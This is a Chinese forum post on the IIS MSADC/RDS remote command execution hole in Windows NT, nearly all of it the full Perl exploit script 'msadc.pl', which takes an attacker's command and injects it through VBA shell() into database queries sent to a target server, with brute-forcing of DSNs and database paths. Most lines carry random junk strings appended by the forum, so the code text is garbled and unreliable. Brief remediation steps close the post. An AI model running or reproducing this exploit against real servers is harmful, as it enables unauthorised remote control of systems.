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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ~RR!~q  
qd a 2  
涉及程序: Q[OwP  
Microsoft NT server .`D'eS6b  
0)&!$@HW  
描述: x%dny]O1;  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 VMah3T!  
GvVkb=="  
详细: 7}iv+rQ  
如果你没有时间读详细内容的话,就删除: /pMOinuO  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 66val"^W  
有关的安全问题就没有了。 [Uup5+MCv  
)+ <w>pc  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 H(y`[B,}*  
\%7*@&  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 /,G `V  
关于利用ODBC远程漏洞的描述,请参看: '!m6^*m|c  
xpdpD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1T|f<ChIF<  
eB0exPz%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 <8WFaP3,  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (3n "a'  
)n&hO_c/  
这里不再论述。 JM7mQ'`Ud  
?L<B]!9HZt  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~& -h5=3  
5RPG3ppS  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset B&cIx~+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3=enk0$  
;!<}oZp{  
OnTe_JML  
#将下面这段保存为txt文件,然后: "perl -x 文件名" bZ* = fdh  
u99a"+  
#!perl _xKn2?d8g  
#  7)2K6<q  
# MSADC/RDS 'usage' (aka exploit) script F`g(vD >  
# H07\z1?.K  
# by rain.forest.puppy #eW T-m  
# >oW]3)$4S  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me U9oUY> 9  
# beta test and find errors! {/QVs?d  
<-I69`  
use Socket; use Getopt::Std; G9:XEEN  
getopts("e:vd:h:XR", \%args); =WTSaC  
XIwJhsYZ'9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; J,}h{-Xy`  
m?w_ ]  
if (!defined $args{h} && !defined $args{R}) { m. pm,  
print qq~ P&0eu  
Usage: msadc.pl -h <host> { -d <delay> -X -v } w/|&N>ZOx  
-h <host> = host you want to scan (ip or domain) K6DN>0sY  
-d <seconds> = delay between calls, default 1 second 5Zq hyv=  
-X = dump Index Server path table, if available  l<6G Z  
-v = verbose >.meecE?Q  
-e = external dictionary file for step 5 3;>ls~4  
Fi``l )Tt  
Or a -R will resume a command session $toTMah w  
qFmw9\Fn  
~; exit;} )] @h}K}  
cx[^D,usf~  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; [ U:C62oK,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} JL6$7h  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4>,X.|9{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); GD4S/fn3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} NW1Jr/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } o=Vs)8W  
&jJu=6 U B  
if (!defined $args{R}){ $ret = &has_msadc; [xqV`(vM  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} C:B7%<  
KlT:&1SB9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _=mzZe[  
. "cmd /c "; '|[!I!WB`  
$in=<STDIN>; chomp $in; 1_+ h"LE  
$command="cmd /c " . $in ; NWf=mrS8@$  
h%/BZC^L]|  
if (defined $args{R}) {&load; exit;} |.k'?!  
D?n6h\h\$%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <K0epED  
&try_btcustmr; ?c#s}IH  
-Q20af-  
print "\nStep 2: Trying to make our own DSN..."; 1'&.6{)P  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Z|t=t"6"  
s+:|b~  
print "\nStep 3: Trying known DSNs..."; n\+ c3  
&known_dsn; afrF%!  
R1zt6oY  
print "\nStep 4: Trying known .mdbs..."; #Y=^4U`  
&known_mdb; gH//@`6  
T]tP!a;K  
if (defined $args{e}){ oxxuw Dcl  
print "\nStep 5: Trying dictionary of DSN names..."; bv4umL /  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^L%_kL_7  
rI>x'0Go*  
print "Sorry Charley...maybe next time?\n"; pwFdfp  
exit; c {= ; lT  
-`faXFW'  
############################################################################## 9L>?N:%5  
COw"6czX/  
sub sendraw { # ripped and modded from whisker T8+[R2_  
sleep($delay); # it's a DoS on the server! At least on mine... i.E2a)  
my ($pstr)=@_; %axr@o[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ei5YxV6I  
die("Socket problems\n"); }5+^  
if(connect(S,pack "SnA4x8",2,80,$target)){ H~FI@Cf$L  
select(S); $|=1; 3X gJZ  
print $pstr; my @in=<S>; 2F2Hl   
select(STDOUT); close(S); DZqPCMz)^  
return @in; k!Yc_ZB:*l  
} else { die("Can't connect...\n"); }} cC-8.2  
AlQhKL}|s  
############################################################################## mG1~rI  
W1REF9i){  
sub make_header { # make the HTTP request ]Q"T8drL  
my $msadc=<<EOT TsFhrtnx&X  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -lo?16w  
User-Agent: ACTIVEDATA 9"P+K.%  
Host: $ip M+%Xq0`T  
Content-Length: $clen 6 - 3?&+  
Connection: Keep-Alive d]0:r]e  
w;,34qbf  
ADCClientVersion:01.06 T?RY~GA  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 m}l);P^  
<H^jbK  
--!ADM!ROX!YOUR!WORLD! GlJ[rD  
Content-Type: application/x-varg ^("b~-cJ  
Content-Length: $reqlen &@lfr623  
w'TAM"D`  
EOT 'x%gJi#  
; $msadc=~s/\n/\r\n/g; `PARZ|  
return $msadc;} P&Ke slk  
Ll|-CY $  
############################################################################## :'T+`(  
2^B_iyF;  
sub make_req { # make the RDS request "AagTFs(i  
my ($switch, $p1, $p2)=@_; J.UNw8z  
my $req=""; my $t1, $t2, $query, $dsn; {]\7 M|9\  
9:2Bt <q  
if ($switch==1){ # this is the btcustmr.mdb query wh(_<VZ  
$query="Select * from Customers where City=" . make_shell(); hNXZL>6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *J4!+GD  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} KtaoOe  
{dF@Vg_n  
elsif ($switch==2){ # this is general make table query L-Q8iFW'  
$query="create table AZZ (B int, C varchar(10))"; #z P-, 2!r  
$dsn="$p1";} @V 'HX  
$+80V{J#  
elsif ($switch==3){ # this is general exploit table query DzR,ou  
$query="select * from AZZ where C=" . make_shell(); ! yJ0A m>  
$dsn="$p1";} 0BXr[%{`  
eay|>xa2  
elsif ($switch==4){ # attempt to hork file info from index server Un]wP`  
$query="select path from scope()"; ! t!4CY  
$dsn="Provider=MSIDXS;";} ^;F/^ _  
{<{VJGY7T  
elsif ($switch==5){ # bad query 8-<F4^i_i  
$query="select"; 9Y3"V3EZ  
$dsn="$p1";} qU#A,%kcV  
.'`aX 7{\  
$t1= make_unicode($query); 0PkX-.  
$t2= make_unicode($dsn); i`+w.zJOH8  
$req = "\x02\x00\x03\x00"; ;y(;7n_ a  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9JdJn>  
$req.= "\x00\x00" . $t1 ; k[8F: T-  
$req.= "\x08\x00" . pack ("S1", length($t2)); 76D$Nm  
$req.= "\x00\x00" . $t2 ; L"jA#ULg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; qIJc\,'  
return $req;} $ 5"  
suQTi'K1  
############################################################################## P7w RX F{  
ku,{NY f^Y  
sub make_shell { # this makes the shell() statement a6gw6jQ  
return "'|shell(\"$command\")|'";} N5K(yY_T  
brTNwRze  
############################################################################## H|aFs.SEQ  
b"$?(Y  
sub make_unicode { # quick little function to convert to unicode -. *E<%  
my ($in)=@_; my $out; CWeQv9h]X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } .'=S1|_(  
return $out;} \HB fM&  
@A6iY  
############################################################################## s={>{,E  
`!cdxKLR  
sub rdo_success { # checks for RDO return success (this is kludge) #;8)UNc)}  
my (@in) = @_; my $base=content_start(@in); 9&r]k8K  
if($in[$base]=~/multipart\/mixed/){ }36AeJ7L  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4Wgzp51Aq!  
return 0;} 9"^ib9M  
Z=8&`  
############################################################################## 6-\Mf:%B  
~+{*KPiD  
sub make_dsn { # this makes a DSN for us 0y|1@CS  
my @drives=("c","d","e","f"); ';G/,wB?`  
print "\nMaking DSN: "; 4AL,=C3  
foreach $drive (@drives) { hwM<0Jf   
print "$drive: "; ~0,v Q   
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c!HGiqp  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ar\fA)UQ`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); !y$##PZ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c(1tOQk.  
return 0 if $2 eq "404"; # not found/doesn't exist 7KiraKb|  
if($2 eq "200") { g#i~^4-1  
foreach $line (@results) { 3chx 4  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Pt85q?->  
} return 0;} _xAru9=n^  
vk|f"I  
############################################################################## xp1/@Pw?  
KGDN)@D  
sub verify_exists { O^\:J 2I(  
my ($page)=@_; <N<0?GQ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); W!HjO;  
return $results[0];} (ORbhjl  
.=YV  
############################################################################## g5#LoGc  
<SJ6<'  
sub try_btcustmr { =p@2[Uo  
my @drives=("c","d","e","f"); dm/3{\ 4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); / ^)3V}  
*Z"cXg^ti  
foreach $dir (@dirs) { 274j7Y'  
print "$dir -> "; # fun status so you can see progress 9+y&&;p  
foreach $drive (@drives) { Re~6 '  
print "$drive: "; # ditto dlvU=^G#G  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; r3x;lICx-  
$reqlenlen=length( "$reqlen" ); ]a.e;c-  
$clen= 206 + $reqlenlen + $reqlen; d s`YVXKH  
FrMXf,}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \\EX'L  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 9Avj\G  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &wU"6E  
( !@gm)#h  
############################################################################## ^}2!fRKAmo  
T7i>aM$+  
sub odbc_error { "3jTU  
my (@in)=@_; my $base; Ngx2N<$<*g  
my $base = content_start(@in); qy?$t:*pp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,>#\aO1n  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rbOJ;CK  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j8Mt"B  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zU[o_[+7^  
return $in[$base+4].$in[$base+5].$in[$base+6];} dlyGgaV*X  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; kT   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rZ,3:x-:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Uy=yA  
>7@,,~3  
############################################################################## YCP D+  
ta.Lq8/  
sub verbose { CSjd&G *ZB  
my ($in)=@_; 3_G0eIE"u  
return if !$verbose; Ma\%uEgTD  
print STDOUT "\n$in\n";} 5Kd"W,  
t0cS.hi  
############################################################################## h)sT37  
'r=2f6G>cP  
sub save { vg?(0Gasm*  
my ($p1, $p2, $p3, $p4)=@_; 6{d?3Jk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; >4bw4 Z1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; :!Z|_y{b  
close OUT;} 7 `~0j6FY  
~c&sr5E  
############################################################################## |5>A^a  
\aPH_sf,  
sub load { A%EhRAy  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,y"vf^BE.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +EA ")T<l  
@p=<IN>; close(IN); F%zMhX'AG  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); y)L X?d  
$target= inet_aton($ip) || die("inet_aton problems"); _GY2|x2c  
print "Resuming to $ip ..."; 3R$R?^G  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Hwd^C 2v  
if($p[1]==1) { Msvs98LvW  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ai/]E6r  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; i+QVs_jW  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); _Cf:\Xs m  
if (rdo_success(@results)){print "Success!\n";} nGTGX  
else { print "failed\n"; verbose(odbc_error(@results));}} 2ia&c@P-  
elsif ($p[1]==3){ Q2oo\  
if(run_query("$p[3]")){ 8MW-JZ  
print "Success!\n";} else { print "failed\n"; }} 5o{U$  
elsif ($p[1]==4){ RJ3uu NK7  
if(run_query($drvst . "$p[3]")){ 8 |= c3Z  
print "Success!\n"; } else { print "failed\n"; }} ~9@527m<',  
exit;} U*N{H$ACuR  
T/u61}'U{  
############################################################################## m{>"  
x| D|d}  
sub create_table { V!*1F1  
my ($in)=@_; [< 9%IGH  
$reqlen=length( make_req(2,$in,"") ) - 28; 8d1qRCIz  
$reqlenlen=length( "$reqlen" ); yL<u>S0  
$clen= 206 + $reqlenlen + $reqlen; hG`@#9|f  
my @results=sendraw(make_header() . make_req(2,$in,"")); }'{"P#e8"q  
return 1 if rdo_success(@results); X9c<g;  
my $temp= odbc_error(@results); verbose($temp); 6f0o'  
return 1 if $temp=~/Table 'AZZ' already exists/; >8{{H"$;(  
return 0;} bCTN^  
3 P75:v  
############################################################################## O|Vc  
D\ZH1C!d  
sub known_dsn { (-1{W^(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Z;u3G4XlF  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", w?3ww7yf`  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", t~}c"|<t  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6ym$8^  
GGLSmfb)  
foreach $dSn (@dsns) { ,| 8aDL?  
print "."; cJ?,\@uuP  
next if (!is_access("DSN=$dSn")); ORqqzy +  
if(create_table("DSN=$dSn")){ :SwA) (1  
print "$dSn successful\n"; |ggtb\W  
if(run_query("DSN=$dSn")){ /J"fbBXwY  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !:xE X~  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ":sp0(`h  
AW_YlS  
############################################################################## z<P?p  
OP=oSfa  
sub is_access { TXd6o=  
my ($in)=@_; V_^pPBa  
$reqlen=length( make_req(5,$in,"") ) - 28; rkh%[o 9"/  
$reqlenlen=length( "$reqlen" ); .`u8(S+  
$clen= 206 + $reqlenlen + $reqlen; F&CvqPI  
my @results=sendraw(make_header() . make_req(5,$in,"")); ZJFF4($qN  
my $temp= odbc_error(@results); >^W6'Q$P<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); vEG7A$Z"  
return 0;} fGH)Fgo`  
#u"@q< )  
############################################################################## s7jNRY V  
fhdqes])  
sub run_query { fwx^?/5j  
my ($in)=@_; %#EzZD  
$reqlen=length( make_req(3,$in,"") ) - 28; [# X} (  
$reqlenlen=length( "$reqlen" ); E>E^t=; [  
$clen= 206 + $reqlenlen + $reqlen; y% !.:7Y  
my @results=sendraw(make_header() . make_req(3,$in,"")); $zhvI*0  
return 1 if rdo_success(@results); >X[:(m'  
my $temp= odbc_error(@results); verbose($temp); 7[L%j;)bw  
return 0;} %WP[V{,F  
C\Ob!sv%H  
############################################################################## )_Hv9!U]e  
v9TIEmZ  
sub known_mdb { HdY#cVxy  
my @drives=("c","d","e","f","g"); Y[VXx8"p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gs.+|4dv  
my $dir, $drive, $mdb; 18kWnF]n=  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; PxWH)4  
PktnjdFV  
# this is sparse, because I don't know of many -)&lsFF  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 2t0VbAO 1{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ] fA5D)/m<  
"\\system32\\certmdb.mdb", -ciwIS9L  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% DP*$@5  
]A\qI>,  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7bGOE_r  
"\\cfusion\\cfapps\\forums\\forums_.mdb", >pol'=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Mx# P >.  
"\\cfusion\\cfapps\\security\\realm_.mdb", n Jz*}=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", uHZjpMoM  
"\\cfusion\\database\\cfexamples.mdb", ~U]%>Zf  
"\\cfusion\\database\\cfsnippets.mdb", ]A+t@/k  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", EronNtu8i  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", X=Y(,ZR(&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", o8A8fHl  
"\\cfusion\\database\\smpolicy.mdb", wvxqgXnB\  
"\\cfusion\\database\cypress.mdb", KB~`3Wj|Z  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  *ni0.  
"\\website\\cgi-win\\dbsample.mdb", 7)>L#(N  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", wpNb/U  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p Zxx  
); #these are just 8{%&P%vf  
foreach $drive (@drives) { tmeg=U7  
foreach $dir (@dirs){ 3fE0cVG*  
foreach $mdb (@sysmdbs) { XCgC^c'  
print "."; JHg;2xm"<K  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 8A*tpMV?J  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; V sL*&Fk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ )$pqe|,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; P;X0L{u0H  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6%o@!|=I  
uzp\<\d-t  
foreach $drive (@drives) { g<w1d{Td  
foreach $mdb (@mdbs) { ={p<|8`"  
print "."; bx7hQzoX=b  
if(create_table($drv . $drive . $dir . $mdb)){ 5yW}#W>  
print "\n" . $drive . $dir . $mdb . " successful\n"; l r~>!O  
if(run_query($drv . $drive . $dir . $mdb)){ 8@6*d.+e  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; :2b*E`+  
} else { print "Something's borked. Use verbose next time\n"; }}}} <I?f=[  
} =8]Ru(#Ig  
b ts*qx&)  
############################################################################## PKGqu,J,  
)1YGWr;ykS  
sub hork_idx { plzwk>b_  
print "\nAttempting to dump Index Server tables...\n"; HR  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; hA`9[58/  
$reqlen=length( make_req(4,"","") ) - 28; e9CvdR  
$reqlenlen=length( "$reqlen" ); wSALK)T1{  
$clen= 206 + $reqlenlen + $reqlen; _jVJkg)]  
my @results=sendraw2(make_header() . make_req(4,"","")); ,[_)BM  
if (rdo_success(@results)){ G 8tK"LC  
my $max=@results; my $c; my %d; !_dW  `  
for($c=19; $c<$max; $c++){ ,z((?h,nm  
$results[$c]=~s/\x00//g; e)L!4Y44K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; q#8z%/~k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !:_krLB<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !l9 #a{#6l  
$d{"$1$2"}="";} ~ihi!u%~}  
foreach $c (keys %d){ print "$c\n"; } XNBzA3W  
} else {print "Index server doesn't seem to be installed.\n"; }} GIK.+kn\  
k?Zcv*[)D+  
############################################################################## l`:-B 'WM  
1P BnGQYM  
sub dsn_dict { F=UW[zy/[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); COH.`Tv{*  
while(<IN>){ #S|On[Q!  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; h`tf!MD]  
next if (!is_access("DSN=$dSn")); 1bCS4fs^>  
if(create_table("DSN=$dSn")){ /pGx !  
print "$dSn successful\n"; i-sm9K'ns  
if(run_query("DSN=$dSn")){ k6;pi=sYNW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $7Tj<;TV  
print "Something's borked. Use verbose next time\n";}}} @3I?T Q1  
print "\n"; close(IN);} 9q^7%b,  
3 "|A5>Vo  
############################################################################## +:J:S"G  
S! .N3ezn  
sub sendraw2 { # ripped and modded from whisker L_=3`xE _  
sleep($delay); # it's a DoS on the server! At least on mine... ^<aj~0v  
my ($pstr)=@_; a uve&y"R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || G<~P||Lu^  
die("Socket problems\n"); I%0J=V;o{  
if(connect(S,pack "SnA4x8",2,80,$target)){ #vR5a}BAk  
print "Connected. Getting data"; Y~OyoNu2  
open(OUT,">raw.out"); my @in; 7l'1  
select(S); $|=1; print $pstr; ?Xp+5{  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} c,*a|@  
close(OUT); select(STDOUT); close(S); return @in; w#sP5qKv8  
} else { die("Can't connect...\n"); }} od3b,Q  
pTYV@5|  
############################################################################## Q0""wR q'  
2bpFQ8q  
sub content_start { # this will take in the server headers 7. eiM!7g  
my (@in)=@_; my $c; h{PJ4U{W  
for ($c=1;$c<500;$c++) { [} %=& B  
if($in[$c] =~/^\x0d\x0a/){  8KzH -  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _<)HFg6  
else { return $c+1; }}} =?hbi]  
return -1;} # it should never get here actually H|cxy?iJ  
G?+]BIiL  
############################################################################## mldY/;-H!1  
(`f)Tt=`  
sub funky { ( "J_< p  
my (@in)=@_; my $error=odbc_error(@in); {6wy}<ynC+  
if($error=~/ADO could not find the specified provider/){ 9:Z|Z?>?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; w< |Lx#L}  
exit;} *jy"g64j  
if($error=~/A Handler is required/){ j)jt&Gg'  
print "\nServer has custom handler filters (they most likely are patched)\n"; x=Ez hq]X  
exit;} TyaK_XW  
if($error=~/specified Handler has denied Access/){ j<vU[J+gx~  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5=.mg6:  
exit;}} @N\ Ht'f  
mgBxcmv  
############################################################################## 0MOn>76$N  
9sB LCZ  
sub has_msadc { vLcOZ^iK  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \H/}| ^+@  
my $base=content_start(@results); .1""U ']  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); i# Fe`Z ~J  
return 0;} ^aL> /'Y#|  
v/G^yZa  
######################## ??Dv\yLZI  
Ozc9yy!%  
ze#ncnMo  
解决方案: M`@Es#s  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll h56s~(?O  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #r80FVwiD  
?h ym~,  
拿出来充数 哈哈
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